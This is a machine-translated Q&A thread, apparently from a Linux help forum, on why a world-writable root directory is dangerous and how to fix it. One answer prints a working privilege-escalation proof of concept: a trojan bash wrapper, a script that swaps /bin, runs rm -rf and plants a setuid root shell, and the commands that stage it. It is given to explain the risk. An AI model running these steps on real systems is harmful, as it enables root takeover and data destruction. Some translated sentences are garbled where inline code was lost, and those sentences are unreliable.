/不应为全球可写

/不应为全球可写

不过大部分内容都是755。

这是一个问题吗?

答案1

有趣的是,它/实际上允许777在其上设置权限。该/文件夹不应具有777权限,因为这意味着任何登录到系统的用户都可以在/根级别创建文件和文件夹。我已经在虚拟机中测试过这一点,你不能删除任何不是 或 的文件夹或文件777sudo访问root权限owner仍然受到限制,例如尝试访问/root文件夹本身会导致权限被拒绝。但是,话虽如此,您仍然可以将/root文件夹移动到 ,从而/root.old造成一点混乱。

要解决此问题,您可以运行sudo chmod 755 /以将权限更改为应有的权限。您也可以运行sudo chown root:root /以确保它由 root 本身拥有。 请勿使用 -R 运行任何命令,因为这将更改分区中的所有文件和文件夹以匹配权限和所有权。

希望这可以帮助!

答案2

/不应为全球可写

/可以被全世界写入巨大的问题。任何拥有 的写入权限的/用户都可以移动/重命名 中的任何文件或目录/。这意味着任何用户都可以用自己选择的目录替换/etc/usr中的任何其他目录。/

拒绝服务:简单

任何用户都可以通过重命名/etc和轻松地对您的系统实施 DoS 攻击/usr

权限提升:稍微不那么简单

执行权限提升稍微困难一些。用户可以/bin用自己的副本替换,然后任何进程尝试使用cp,甚至启动 shell,将立即受到他们的摆布。用户需要做的就是等待以 root 身份运行的进程使用 中的任何命令/bin,或等待 root 用户使用 login,然后他们就可以进入。

例子

bash.c

#include<sys/types.h>
#include<unistd.h>

int main(int argc, char*argv[], char *env[])
{
    if (getuid() == 0) {
        system("/home/muru/foo");
    }
    execve("/bin/bash", argv, env); 
}

foo

#!/bin/sh

mv /bin /..bin
mv /.bin /bin
rm -rf /..bin
cp /bin/bash /home/muru
chown root:root /home/muru/bash
chmod u+s /home/muru/bash

进而:

$ gcc -o bash bash.c
$ mkdir /..bin
$ cd /bin; for i in /bin/*; do ln -s /..bin/"$i" /.bin/"$i"; done
$ mv /bin /.bin
$ mv /..bin /bin
$ cp bash /bin

下次 root 启动 shell 时,您会在主目录中获得一个 setuid 可执行文件,然后您可以随时轻松地使用它来获取 root 权限,而不会留下太多痕迹。

答案3

/不可以。 (根目录)有权限是不安全的777。也就是说rwxrwxrwx,每个用户对根目录都有写权限。

有了该权限,每个用户都可以创建新的子目录、删除现有的子目录以及替换现有的子目录。例如,恶意用户可以删除/bin(通过将其重命名为/bin.old)并创建一个/bin由他们拥有的新目录,其中包含恶意可执行文件。或者,用户可以删除/etc(通过将其重命名为/etc.old)并创建一个新的目录/etc,其中包含一个新的/etc/passwd/etc/shadow文件,让用户可以登录系统上的每个帐户。

相关内容